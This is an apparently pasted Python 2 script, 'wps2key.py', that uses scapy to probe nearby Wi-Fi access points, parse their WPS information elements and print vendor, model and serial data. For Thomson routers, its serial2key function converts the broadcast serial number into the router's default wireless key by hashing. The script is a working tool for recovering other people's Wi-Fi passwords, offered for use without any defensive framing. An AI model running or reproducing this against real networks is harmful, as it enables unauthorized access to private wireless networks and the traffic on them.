wps2key.py


SUBMITTED BY: Guest

DATE: Oct. 25, 2012, 10:51 p.m.

FORMAT: Text only

SIZE: 11.2 kB

HITS: 2617

  1. #!/usr/bin/env python
  2. from sys import argv, stderr, exit
  3. from getopt import GetoptError, getopt as GetOpt
  4. import hashlib
  5. import logging
  6. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  7. try:
  8. from scapy.all import *
  9. except Exception, e:
  10. print 'Failed to import scapy:',e
  11. exit(1)
  12. def ascii2hex(char):
  13. return hex(ord(char))[2:]
  14. def serial2key(serial):
  15. #print 'Key for Serial Number: CP%s' % serial
  16. sn = 'CP%s%s%s%s' % (serial[0:4],ascii2hex(serial[6]),ascii2hex(serial[7]),ascii2hex(serial[8]))
  17. hash = hashlib.sha1(sn.upper()).hexdigest()
  18. return hash[0:10].upper()
  19. class WPSQuery:
  20. bssid = None
  21. essid = None
  22. pfile = None
  23. rprobe = False
  24. verbose = False
  25. probedNets = {}
  26. WPS_ID = "\x00\x50\xF2\x04"
  27. wps_attributes = {
  28. 0x104A : {'name' : 'Version ', 'type' : 'hex'},
  29. 0x1044 : {'name' : 'WPS State ', 'type' : 'hex'},
  30. 0x1057 : {'name' : 'AP Setup Locked ', 'type' : 'hex'},
  31. 0x1041 : {'name' : 'Selected Registrar ', 'type' : 'hex'},
  32. 0x1012 : {'name' : 'Device Password ID ', 'type' : 'hex'},
  33. 0x1053 : {'name' : 'Selected Registrar Config Methods', 'type' : 'hex'},
  34. 0x103B : {'name' : 'Response Type ', 'type' : 'hex'},
  35. 0x1047 : {'name' : 'UUID-E ', 'type' : 'hex'},
  36. 0x1021 : {'name' : 'Manufacturer ', 'type' : 'str'},
  37. 0x1023 : {'name' : 'Model Name ', 'type' : 'str'},
  38. 0x1024 : {'name' : 'Model Number ', 'type' : 'str'},
  39. 0x1042 : {'name' : 'Serial Number ', 'type' : 'str'},
  40. 0x1054 : {'name' : 'Primary Device Type ', 'type' : 'hex'},
  41. 0x1011 : {'name' : 'Device Name ', 'type' : 'str'},
  42. 0x1008 : {'name' : 'Config Methods ', 'type' : 'hex'},
  43. 0x103C : {'name' : 'RF Bands ', 'type' : 'hex'},
  44. 0x1045 : {'name' : 'SSID ', 'type' : 'str'},
  45. 0x102D : {'name' : 'OS Version ', 'type' : 'str'}
  46. }
  47. def __init__(self,iface,pfile):
  48. if iface:
  49. conf.iface = iface
  50. if pfile:
  51. self.pfile = pfile
  52. def run(self):
  53. if self.verbose:
  54. if self.pfile:
  55. stderr.write("Reading packets from %s\n\n" % self.pfile)
  56. else:
  57. stderr.write("Listening on interface %s\n\n" % conf.iface)
  58. try:
  59. sniff(prn=self.pcap,offline=self.pfile)
  60. except Exception, e:
  61. print 'Caught exception while running sniff():',e
  62. #Handles captured packets
  63. def pcap(self,packet):
  64. if packet.haslayer(Dot11Beacon):
  65. self.beaconh(packet)
  66. elif packet.haslayer(Dot11ProbeResp):
  67. self.responseh(packet)
  68. #Beacon packet handler
  69. def beaconh(self,pkt):
  70. elt = None
  71. eltcount = 1
  72. doprobe = False
  73. essid = None
  74. bssid = pkt[Dot11].addr3.upper()
  75. #If a specific BSSID and ESSID combination was supplied, skip everything else and just probe it
  76. if self.bssid and self.essid:
  77. self.probereq(self.essid,self.bssid)
  78. return
  79. #If we've already probed it, processing it's beacon frames won't do us any more good
  80. if self.probedNets.has_key(bssid):
  81. return
  82. #Is this the BSSID we're looking for?
  83. if self.bssid and self.bssid != bssid:
  84. return
  85. #Loop through all information elements
  86. while elt != pkt.lastlayer(Dot11Elt):
  87. elt = pkt.getlayer(Dot11Elt, nb=eltcount)
  88. eltcount += 1
  89. #Get the SSID
  90. if elt.ID == 0:
  91. essid = elt.info
  92. #Skip if this is not the SSID we're looking for
  93. if self.essid and essid != self.essid:
  94. return
  95. #Check for a WPS information element
  96. else:
  97. doprobe = self.iswpselt(elt)
  98. if doprobe:
  99. if self.verbose:
  100. stderr.write("WPS support detected for %s (%s)\n" % (bssid,essid))
  101. break
  102. #Should we actively probe this AP?
  103. if doprobe == True or self.rprobe == True:
  104. self.probereq(essid,bssid)
  105. return
  106. #Probe response packet handler
  107. def responseh(self,pkt):
  108. wpsdata = []
  109. eltcount = 1
  110. elt = None
  111. bssid = None
  112. essid = None
  113. bssid = pkt[Dot11].addr3.upper()
  114. #Is this the BSSID we're looking for?
  115. if self.bssid and self.bssid != bssid:
  116. return
  117. #Loop through all information elements
  118. while elt != pkt.lastlayer(Dot11Elt):
  119. elt = pkt.getlayer(Dot11Elt, nb=eltcount)
  120. eltcount += 1
  121. #Get the SSID
  122. if elt.ID == 0:
  123. essid = elt.info
  124. #Don't probe a network multiple times
  125. if essid != None and self.probedNets.has_key(bssid) and self.probedNets[bssid] == essid:
  126. return
  127. #Skip if this is not the SSID we're looking for
  128. if self.essid and essid != self.essid:
  129. return
  130. if self.verbose:
  131. stderr.write("Received probe response from %s (%s)\n" % (bssid,essid))
  132. elif self.iswpselt(elt):
  133. wpsdata = self.parsewpselt(elt)
  134. #Display WPS information
  135. if wpsdata:
  136. self.printwpsinfo(wpsdata,bssid,essid)
  137. elif self.verbose:
  138. stderr.write("No WPS element supplied by %s (%s)!\n" % (bssid,essid))
  139. #Mark this BSSID as complete
  140. self.probedNets[bssid] = essid
  141. return
  142. #Display collected WPS data
  143. def printwpsinfo(self,wpsdata,bssid,essid):
  144. textlen = 33
  145. filler = ' '
  146. is_valid = 0
  147. if wpsdata:
  148. print ''
  149. print 'BSSID:',bssid
  150. print 'ESSID:',essid
  151. print '----------------------------------------------------------'
  152. for (header,data,datatype) in wpsdata:
  153. if datatype != 'str':
  154. tdata = data
  155. data = '0x'
  156. for i in tdata:
  157. byte = str(hex(ord(i)))[2:]
  158. if len(byte) == 1:
  159. byte = '0' + byte
  160. data += byte
  161. header = header + (filler * (textlen-len(header)))
  162. print '%s : %s' % (header,data)
  163. if data == 'THOMSON':
  164. is_valid = 1
  165. elif data == '784n':
  166. is_valid = 0
  167. if header == 'Serial Number ':
  168. header = 'DEFAULT KEY '
  169. if is_valid == 1:
  170. data = serial2key(data)
  171. else:
  172. data = 'UNSUPPORTED'
  173. print '%s : %s' % (header,data)
  174. print ''
  175. #Send a probe request to the specified AP
  176. def probereq(self,essid,bssid):
  177. if not essid or not bssid:
  178. return
  179. if self.probedNets.has_key(bssid):
  180. return
  181. if self.pfile:
  182. return
  183. if self.verbose:
  184. stderr.write("Probing network '%s (%s)'\n" % (bssid,essid))
  185. try:
  186. #Build a probe request packet with a SSID and a WPS information element
  187. dst = mac2str(bssid)
  188. src = mac2str("ff:ff:ff:ff:ff:ff")
  189. packet = Dot11(addr1=dst,addr2=src,addr3=dst)/Dot11ProbeReq()
  190. packet = packet/Dot11Elt(ID=0,len=len(essid),info=essid)/Dot11Elt(ID=221,len=9,info="%s\x10\x4a\x00\x01\x10" % self.WPS_ID)
  191. #Send it!
  192. send(packet,verbose=0)
  193. self.probedNets[bssid] = None
  194. except Exception, e:
  195. print 'Failure sending probe request to',essid,':',e
  196. #Check if an element is a WPS element
  197. def iswpselt(self,elt):
  198. if elt.ID == 221:
  199. if elt.info.startswith(self.WPS_ID):
  200. return True
  201. return False
  202. #Parse a WPS element
  203. def parsewpselt(self,elt):
  204. data = []
  205. tagname = None
  206. tagdata = None
  207. datatype = None
  208. tag = 0
  209. tlen = 0
  210. i = len(self.WPS_ID)
  211. try:
  212. if self.iswpselt(elt):
  213. while i < elt.len:
  214. #Get tag number and length
  215. tag = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
  216. i += 2
  217. tlen = int((ord(elt.info[i]) * 0x100) + ord(elt.info[i+1]))
  218. i += 2
  219. #Get the tag data
  220. tagdata = elt.info[i:i+tlen]
  221. i += tlen
  222. #Lookup the tag name and type
  223. try:
  224. tagname = self.wps_attributes[tag]['name']
  225. datatype = self.wps_attributes[tag]['type']
  226. except Exception, e:
  227. tagname = 'Unknown'
  228. datatype = 'hex'
  229. #Append to array
  230. data.append((tagname,tagdata,datatype))
  231. except Exception,e:
  232. print 'Exception processing WPS element:',e
  233. return data
  234. def about():
  235. print '''
  236. WPScan actively scans access points that support WiFi Protected Setup by sending
  237. 802.11 probe requests to them. It then examines the WPS information element in the
  238. resulting 802.11 probe response and displays the information contained in that IE.
  239. This is useful for fingerprinting WPS-capable access points, as many of them will
  240. include their vendor, model number, and firmware versions in the WPS IE of the
  241. probe response.
  242. '''
  243. exit(0)
  244. def usage():
  245. print '''
  246. Usage: %s [OPTIONS]
  247. -i <iface> Specify the interface to listen on
  248. -p <file> Specify pcap file to read from
  249. -b <bssid> Specify a bssid filter
  250. -e <essid> Specify an essid filter
  251. -n Probe all networks
  252. -v Enable verbose mode
  253. -a Show about information
  254. -h Show help
  255. ''' % argv[0]
  256. exit(1)
  257. def main():
  258. bssid = None
  259. essid = None
  260. iface = None
  261. pfile = None
  262. probeall = False
  263. verbose = False
  264. try:
  265. opts,args = GetOpt(argv[1:],"b:e:i:p:ainvh");
  266. except GetoptError, e:
  267. print 'Usage Error:',e
  268. usage()
  269. for opt,optarg in opts:
  270. if opt == '-b':
  271. bssid = optarg.upper()
  272. elif opt == '-e':
  273. essid = optarg
  274. elif opt == '-i':
  275. iface = optarg
  276. elif opt == '-p':
  277. pfile = optarg
  278. elif opt == '-v':
  279. verbose = True
  280. elif opt == '-n':
  281. probeall = True
  282. elif opt == '-a':
  283. about()
  284. else:
  285. usage()
  286. wps = WPSQuery(iface,pfile)
  287. wps.bssid = bssid
  288. wps.essid = essid
  289. wps.rprobe = probeall
  290. wps.verbose = verbose
  291. wps.run()
  292. if __name__ == "__main__":
  293. main()

comments powered by Disqus